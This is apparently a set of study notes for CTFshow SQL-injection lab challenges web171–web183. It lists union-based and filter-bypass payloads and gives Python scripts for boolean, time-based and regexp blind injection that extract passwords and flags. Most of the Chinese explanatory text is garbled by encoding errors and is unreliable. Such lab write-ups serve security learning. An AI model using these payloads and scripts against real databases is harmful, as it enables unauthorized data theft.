CTFshow_web_Sql

171-253

Q&A

  1. web171Ϊʲôʹ��1’ or ‘1����ȫ�����ԣ�orǰ�з�������������ˣ�andǰ�ٺ󻹻�����
  2. web172�е���һ��˼·����ʵ�֣�butʵ��ϸ���أ��ǶԽ����������ԭ�����м����ʹ��upperֱ�ӽ����ƹ�
    1. ����Ϊquery���ض���������𣬲�Ҫ��pdo����
  3. web172��-1’ union select (select group_concat(base64(username)) from ctfshow_web.ctfshow_user2),(select group_concat(password) from ctfshow_web.ctfshow_user2) %23�޷�ִ�У�but��base4��Ϊhex������
  4. web172��ctfshow��pppboy�Ļش��ṩ��һ���µĽ����������ʱ����һ��!!!!
  5. web172��inexsec�Ļش����ж�information_schema���ݿ����ϸ��Ϣ
  6. web173�Ų��ֶ���ʱ��1’ order by ‘3�������
  7. web174Ϊʲô�޷��������ֱ�ӽ���replaceǶ�ף�����Ŀ����֪ʶ��������payload
  8. web174Ϊʲô���Դ�һ���ļ�select-no-waf-4.php����һ���ļ�/api/v4.php������
  9. web174�ű�12Ҫ�㶮ԭ��
  10. web174�����е�$retҪ������
  11. web176��Ϊʲôlimit1ʹ���������뻹��ֱ�ӳ�����������
  12. web177�з������ƹ��ո���˵�����
    1. �費��Ҫÿ�������һ���ؼ��ּ��ɣ�������ʹ�ö���ؼ���������unionselect
  13. web180��payload3��Ϊʲô����һ��%0c�Ϳ����ˣ������ӾͲ���
  14. web181��Ϊʲô������–+������û�й�����
  15. web182��1’or’1’–%01�е�%01��ʲô
  16. web183�����

web171(�޹����ַ�ע��)

  • ����
  1. ����ԭ����ˣ�Ҫ�ƹ�����username������
  2. payload��0’ or ‘1ʵ����flag��ֱ����ʾ��
  3. payload��0’ or username = ‘flag��ʾid=1�ĺ�username=flag��
  • sqlע��֪ʶ�㲹��
  1. �����һ�������͵ڶ����������������� AND �������ʾ���ϵļ�¼
  2. �����һ�������͵ڶ���������ֻҪ��һ���������� OR �������ʾ���ϵļ�¼��û��˳��
  3. and���������ȼ�����or

web172(�޹������ϲ�ѯ)

  • ����
  1. ˼·���ƹ���飬ʹ������ע�룬ֻҪ��ȡpassword���ɣ���password������(����ʵ������ȫ����ȥ��flag��ֻҪ����ѯusername���ɣ���ͬstep4��һ��)
  2. step1��1’ order by 2 %23
    1. ����ʹ��#��–����Ϊ�����ˣ���%23Ϊʲô����
    2. Ϊʲôʹ��1’ order by ‘2Ҳ������ʾ
  3. step2��-1’ union select database(),(select group_concat(table_name) from information_schema.tables where table_schema = database())%23�鿴���ݿ����ͱ���
  4. step3��-1’ union select database(),(select group_concat(column_name) from information_schmea.columns where table_schema =’ctfshow_web’ and table_name = ‘ctfshow_user2’)%23�鿴ctfshow_user2���е�����
  5. step4��-1’ union select database(),(select group_concat(password) from ctfshow_web.ctfshow_user2) %23��ȡctfshow_web���ݿ���ctfshow_user2����password������
  • sqlע��֪ʶ�㲹��
  1. �޸Ķ�Ӧ���ڶ�Ӧ�е�flag�����ж�ȡ
    1. ǰ�ò���Ҳ�ǻ�ȡ����������
    2. payload:-1’ union select upper(username),password from ctfshow_user2 where username = ‘flag
    3. ����䲢�����޸�ԭ�����ݣ�ֻ�Ƿ���һ�����������ַ�����Сд�汾�Ľ����
  2. $sql = “select username,password from user where username !=’flag’ and id = ‘“.$_GET[‘id’].”‘ limit 1;”;
    1. PHP �У�ʹ��˫���ţ�” “���������ַ����а����������������ᱻ�������滻Ϊ��ֵ
    2. �����ź�˫����������������ǵ�Ч��
    3. �˴�����ʹ��”ȥ�պϣ�ֻ��Ҫʹ��’�պϼ���
    4. . ���ڽ� SQL ��ѯ�ַ����IJ�ͬ����������һ��ʹ�ַ������ӷ�ʽ���Խ���̬���ɵ�ֵ���뵽 SQL ��ѯ�У�.Ҫ��˫�����ڽ����ű���
  3. ����ʹ����limit
    1. �����ƻ��Ե����������ʹ��1’����0’����-1’����Ӱ��

web173(ͬweb172)

  • ����
  1. -1’ union select (select group_concat(table_name) from information_schema.tables where table_schema = database()),2,3 %23
  2. -1’ union select (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘ctfshow_user3’),2,3 %23
  3. -1’ union select (select group_concat(password) from ctfshow_user3),2,3 %23
  • sqlע��֪ʶ�㲹��
  1. �ַ��Ͳ�ѯʱ�����ݿ�������(�ֶ�)���������ȵȶ���Ҫʹ�ö�Ӧ������������������ᱨ����butʹ��table_name.column_name��ȡ������ʱ���Բ�������
  2. �����ʵ���϶�flag�Ĺ���û��ɶ���ã�����Ҫ��ֻ��password
    1. upper()
    2. lower()
    3. hex()
      1. payload:1’ union select id,hex(username),password from ctfshow_user3 %23
    4. base64()��to_base64()��ͬ
      1. payload:(web172�ģ�����ֻ��to_base64������base64��������concat��base64����base64��concat�Dz�ͬ��)-1’ union select (select group_concat(to_base64(username)) from ctfshow_web.ctfshow_user2),(select group_concat(password) from ctfshow_web.ctfshow_user2) %23
      2. from_base64()�����
    5. replace()
      1. payload��0’ union select id,replace(username,’f’,’g’),password from ctfshow_user3 where username = ‘flag
      2. REGEXP_REPLACE()֧������ƥ�䣬but��Ҫ���ݿ�֧��
      3. replaceǶ�׿��Խ��ж���滻ƥ��

web174(���Թ�������+äע)

  • ����
  1. ʹ�ýű�����äע���⣬�ȸ������ô���IJΣ�bpץ��������������/api/v4.phpҳ��ͨ��get��ʽ���Σ��ͺð���
  2. �ű�����
    1. mid()��ord()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url = "http://675eb02a-4c3e-435c-ac09-e4376c3722c5.challenge.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)
  • sqlע��֪ʶ�㲹��
  1. ����ʹ��Ƕ��replace���ĵ����ֵĻ��Թ���Ϊʲô�в�ͨ��payload��0’ union select ‘A’,(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,’0’,’)’),’9’,’(‘),’8’,’*’),’7’,’&’),’6’,’^’),’5’,’%’),’4’,’$’),’3’,’#’),’2’,‘@’),’1’,’!’) from ctfshow_user4 where username = ‘flag’) %23
  2. �������Ҫ����flag�������־Ͳ����л����ˣ���ֱ����ʾ�����쳣��Ҫ�����ƹ�
    1. ���������ƹ���ʹ��and�����������Ĵ�������Ҫ����flag�ģ�����admin�IJ������ж϶��������ݽ���ֱ�Ӳ������л��Ծ�û����

    2. �����ı�

      1
      2
      3
      4
      5
      6
      7
      if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg'] = '��ѯ�ɹ�';
      }
      /*
      *1. json_encode($ret) �� PHP ���� $ret ת��Ϊ JSON ��ʽ���ַ���
      *2. $ret['msg']�������ݶ�Ӧ��ֵΪ�ɹ�

web175(ʱ��äע)

  • ����
  1. �������޻���sqlע�룬����ʱ��äע��ʹ��python�ű�

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    import requests

    url = 'http://d28023dc-63ef-4d96-b96b-96c7265d925a.challenge.ctf.show/api/v5.php'
    str_range = list(range(31,129))
    '''
    ��֪��url��Ҫ����url���б���(һ��ѭ��)��ÿһ����ĸ����һ��ѭ�����ַ�(����ѭ��)
    '''
    def getContents():
    content = ''
    i = 1
    while True:
    low,high = str_range[0],str_range[len(str_range)-1]
    while (low+1) != high:
    mid = (low+high) // 2
    new_url = url + f"?id=1' and if((ascii(substr((select password from ctfshow_web.ctfshow_user5 where username = 'flag'),{i},1)) >= {mid}),sleep(1),0) %23"
    try:
    r = requests.get(new_url,timeout=0.5)
    high = mid
    except Exception as e:
    low = mid
    content += chr(low)
    print(content)
    if content[-1] == '}':
    return content
    i += 1

    if __name__ == '__main__':
    content = getContents()
    print('**********')
    print(content)
  • sqlע�벹��֪ʶ��
  1. ���˻����ַ�Ϊ\x00-\x7fʵ���Ͼ���ascii 0-127���൱�ڰѴ�Сд��ĸ�����֡��ɼ����Ŷ����˵��ˣ�Ҳ��������Ϊû�л���
  2. ʱ��äע��֪ʶ���CTFER_SQLע��

web176(select����+��Сд�ƹ�)

  • ����
  1. ʹ������������в��ԣ�ֱ�Ӿͽ��ˣ���֪��������ɶ
  2. payload��1’ or ‘1
  3. payload2��1’ union Select 1,2,group_concat(password) from ctfshow_user –+
    1. ʵ�����Ƕ�select���й��ˣ����Դ�д�ƹ�
    2. butΪʲô���˸�����1’ union Select 1,2,(group_concat(password) from ctfshow_user) –+���޻�����
  • sqlע��֪ʶ�㲹��
  1. ���Թ��˺��ƹ���ʽʱ����1��2Ϊ���忪ʼ�𲽲��ԣ�֪������������ų���

web177(�ո��ƹ�)

  • ����
  1. ����1�ɹ�������1 �޻��ԣ��ж�Ϊ�ո����
  2. payload��0’%0bunion%0bselect%0b1,2,group_concat(password)%0bfrom%0bctfshow_user%23
    1. ����ǰ��Ҫʹ��0�ſ��ԣ�because������Ϊlimit 1
  3. payload2��0’%0aunion%0aselect%0a1,2,group_concat(password)from`ctfshow_user`where`username`=’flag’%23

web178(/**/��#����)

  • ����
  1. �ո���Է��ֿո���ˣ�ʹ��/**/����
  2. payload��1’%0aunion%0aselect%0a1,2,group_concat(password)from`ctfshow_user`where`username`=’flag’%23
  3. payload2��1’%0aor%0a’1’%23
    1. ����ע�͵�limit 1��ֱ�����ȫ��

web179(%0a+%0b+%0dֻʣ%0c��������)

  • ����
  1. payload��1’%0cor%0c’1’%23
    1. %0a��%0b��%0d�������ˣ�–��#��������
    2. ��򵥵ķ�����
  2. payload2��-1’union(select(select(group_concat(password))from(ctfshow_user)),1,2)%23
    1. ʹ�����Ž��д���ո�
    2. 1’union(select((group_concat(password))from(ctfshow_user)),1,2)%23���Դ���Ҫ���ϸ�select

web180(–#%23ȫ����+�ո����)

  • ����
  1. payload��0’%0cunion%0cselect%0c1,(select(group_concat(password))from(ctfshow_user)),’3
    1. û��ע�ͷ�����ʹ��’�����бպ�
  2. payload2��-1’or%0cusername%0clike’flag
    1. ʹ��-1��or���ƽ�limit���
  3. payload��’or’1’=’1’–%0c
  • sqlע��֪ʶ�㲹��
  1. payload2�еķ�����ԭ������ʹ��or�����Ŀ�ģ���֪����������������

web181(ע��ȫ����+�ո�ȫ����)

  • ����
  1. ʹ�����������ʽ��payload��0’or(username)=’flag
  2. payload2��0’or(id=26)and’1’=’1

web182(ͨ���)

  • ����
  1. �����������Ĺؼ���flag��but����ʹ��ͨ���
  2. payload��0’or(username)like’fla_����0’or(username)like’fla%
  3. payload2��1’or’1’–%01
    1. �����%01��ʲô����
  4. payload3��-1’or(username=concat(‘fl’,’ag’))and’a’=’a
    1. ��Ҫ��’a’=’a���պ����ţ�����ע�Ͷ������˵���
  5. payload4������äעһ�������ʹ�õķ���

web183(����ע�������ע��)

  • ����
  1. ��֪��ϢΪctfshow{xxxx}�������Դ�Ϊ���������äעѰ��flag���ʿ��Բ�ʹ��%26%26����ֹ�����л���
  2. �����˺ܶ࣬but�л������֣����Կ��Dz���äע
  3. �ű�
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'http://4cd76b8c-6641-46fc-a255-564d49279f21.challenge.ctf.show/select-waf.php'
str_range = r"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-{}"
flag = 'ctf'
counter1 = 4
success_mark = '$user_count = 1;'
while True:
for dic1 in str_range:
flag1 = flag + dic1
post_data = {'tableName': f"(ctfshow_user)where(substr(pass,1,({counter1})))regexp('{flag1}')"}
r = requests.post(url,data=post_data)
if success_mark in r.text:
print(flag)
flag += dic1
break
if flag[-1] == '}':
break
counter1 +=1

print(flag)
  • sql����֪ʶ��
  1. python֪ʶ��
    1. requests��post������r = requests.post(url,data=post_data)
      1. ����url ����Ҫ���� POST �����Ŀ���ַ��data ��һ���ֵ䣬��������Ҫ���ݸ��������˵�����
    2. �ֵ䣨Dictionary����һ�����ݽṹ�����ڴ洢��ֵ�ԣ�key-value pairs��
      1. �ֵ��ǿɱ�ġ�����ģ��� Python 3.7+ �������Ҽ�Ψһ�ļ���
      2. Python �е��ֵ�ʹ�ô����� {} ����ʾ������ֵ֮��ʹ��ð�� : �ָ�����ͬ��ֵ��֮��ʹ�ö��� , �ָ�
    3. �жϣ�if success_mark in r.text:…������if r.text.find(‘…’) == 1:
      1. r.text.find����boolean
    4. r�ַ�����r�ַ�����ԭʼ�ַ�����raw string���ļ�д�����ڱ�ʾһ���ַ����е�ת���ַ��������ͣ�����ֱ����Ϊ��ͨ�ַ�����
      1. ��r�ַ����У���б�� \ ���ᱻ����ת���ַ������DZ�������ͨ�ַ��Դ�
    5. �����ַ���鼯��
      1. ʹ���ַ�������forѭ�����ɶ��ַ����������ַ����б�����ÿ�μ��һ���ַ�
  • �����
  1. (ctfshow_user)where((substr(pass,1,1)regexp’c’)%26%26(username)like’fla_’)�в�ͨ
  2. web176��ʹ��1’union Select 1,2,(Select password from ctfshow_user where username=’flag’ %26%26 substr(password,1,1)regexp’c’)–+���Ի��Գ�flag
  3. Ϊʲô����ʹ��union������ע���ǵ�����ƴ�ӻ�����ʲô��������